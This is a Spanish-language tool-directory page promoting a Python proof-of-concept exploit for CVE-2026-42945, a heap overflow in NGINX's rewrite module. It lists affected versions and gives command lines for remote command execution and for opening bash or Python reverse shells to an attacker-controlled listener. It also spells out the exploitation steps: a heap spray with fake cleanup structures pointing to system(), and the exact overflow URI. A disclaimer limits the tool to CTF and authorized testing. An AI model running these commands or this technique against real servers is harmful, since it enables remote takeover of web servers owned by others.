Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42945-Reverse-Shell-POC — PoC de RCE en Python con listener de reverse shell para CVE-2026-42945 (NGINX Rift) | Kitploit
Herramientas/GitHubGitHub/sec-sys/cve-2026-42945-reverse-shell-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónRed TeamingHerramienta de Acceso RemotoExplotación de Binarios
GitHubsec-sys/cve-2026-42945-reverse-shell-poc

CVE-2026-42945-Reverse-Shell-POC

PoC de RCE en Python con listener de reverse shell para CVE-2026-42945 (NGINX Rift)

Ver Repositorio
3hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-42945 (NGINX Rift) PoC de RCE con Reverse Shell

Prueba de concepto de ejecución remota de código para CVE-2026-42945, un desbordamiento de búfer en el heap del módulo ngx_http_rewrite_module de NGINX. Este fork extiende el PoC público de activación con un listener de reverse shell integrado y parámetros de explotación configurables para entornos de CTF y laboratorios aislados.


Resumen de la vulnerabilidad

  • ID CVE: CVE-2026-42945
  • Alias: NGINX Rift
  • Componente afectado: ngx_http_rewrite_module
  • Versiones afectadas: NGINX Open Source 0.6.27 – 1.30.0; NGINX Plus R32 – R36
  • Versiones corregidas: NGINX Open Source 1.30.1 / ; NGINX Plus , ,
1.31.0
R36 P4
R35 P2
R32 P6
  • Causa raíz: Desajuste del motor de script en dos pasadas. La pasada de cálculo de longitud se ejecuta en un sub-motor nuevo con is_args = 0, mientras que la pasada de copia se ejecuta en el motor principal con is_args = 1, invocando ngx_escape_uri(..., NGX_ESCAPE_ARGS). Los bytes escapables se expanden a 3 bytes cada uno, desbordando un búfer del heap de tamaño insuficiente con datos URI controlados por el atacante.
  • Requisitos para RCE: Configuración vulnerable de rewrite/set que use capturas PCRE sin nombre ($1, $2) junto con ? en la cadena de reemplazo; ASLR deshabilitado o direcciones base conocidas de heap/libc; capacidad de rociar el heap mediante cuerpos de peticiones POST.

  • Archivos

    ArchivoDescripción
    cve_2026_42945_rce_poc.pyExploit en Python con listener de reverse shell integrado y modos de ejecución de comandos.

    Requisitos

    • Python 3.8+
    • Instancia de NGINX objetivo que coincida con la versión vulnerable y el perfil de configuración.
    • Acceso de red al puerto HTTP del objetivo.
    • Para reverse shell: el host del atacante debe ser accesible desde el objetivo en el puerto de listener elegido.

    Uso

    Ejecutar un solo comando

    root@kitploit:~
    python3 cve_2026_42945_rce_poc.py \
      --host 10.0.0.5 \
      --port 80 \
      --cmd "id > /tmp/pwned"
    

    Abrir una reverse shell (bash por defecto)

    root@kitploit:~
    python3 cve_2026_42945_rce_poc.py \
      --host 10.0.0.5 \
      --port 80 \
      --shell \
      --listen-ip 10.0.0.1 \
      --listen-port 1337
    

    Payload de reverse shell en Python

    root@kitploit:~
    python3 cve_2026_42945_rce_poc.py \
      --host 10.0.0.5 \
      --port 80 \
      --shell \
      --shell-type python \
      --listen-ip 10.0.0.1 \
      --listen-port 1337
    

    Calibrar direcciones para un objetivo específico

    root@kitploit:~
    python3 cve_2026_42945_rce_poc.py \
      --host 10.0.0.5 \
      --port 80 \
      --shell \
      --listen-ip 10.0.0.1 \
      --listen-port 1337 \
      --heap-base 0x555555659000 \
      --libc-base 0x7ffff77ba000 \
      --system-offset 0x50d70
    

    Cómo funciona

    1. Heap Spray: Enviar múltiples peticiones POST con cuerpos que contengan una estructura falsa ngx_pool_cleanup_s: system@libc | puntero al comando | null. Estos cuerpos ocupan ubicaciones estables del heap.
    2. Activar el desbordamiento: Enviar una petición GET manipulada a un endpoint vulnerable de rewrite. El patrón de la URI es:
      root@kitploit:~
      /api/<349 x 'A'><969 x '+'><dirección de heap de 6 bytes>
      
      El desbordamiento corrompe el puntero cleanup de una ngx_pool_t adyacente.
    3. Ejecución de código: Cuando el pool se destruye, el puntero cleanup corrupto invoca system(comando), ejecutando el comando controlado por el atacante dentro del proceso worker de NGINX.
    4. Reverse Shell: Si se usa --shell, el comando es un payload de reverse shell y el listener integrado captura la conexión entrante.

    Aviso de seguridad

    Esta herramienta está pensada para:

    • Ejercicios de CTF y laboratorios.
    • Pruebas de penetración autorizadas con permiso por escrito.
    • Investigación de seguridad y actividades de endurecimiento defensivo.

    No la uses en sistemas que no sean de tu propiedad o para los que no tengas permiso explícito de prueba.


    Licencia

    Úsalo bajo tu propio riesgo. El autor no es responsable del uso no autorizado o ilegal.


    Atribución

    Investigación original de la vulnerabilidad y PoC por depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift). Este fork de reverse shell en Python fue creado para uso en laboratorios de red team / CTF.


    Referencias

    • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42945
    • Avisos de seguridad de NGINX: https://nginx.org/en/security_advisories.html
    • Base de conocimiento de F5 / NGINX: https://my.f5.com/manage/s/article/K000161019
    • Repositorio de investigación original: https://github.com/depthfirstdisclosures/nginx-rift
    Descargar herramienta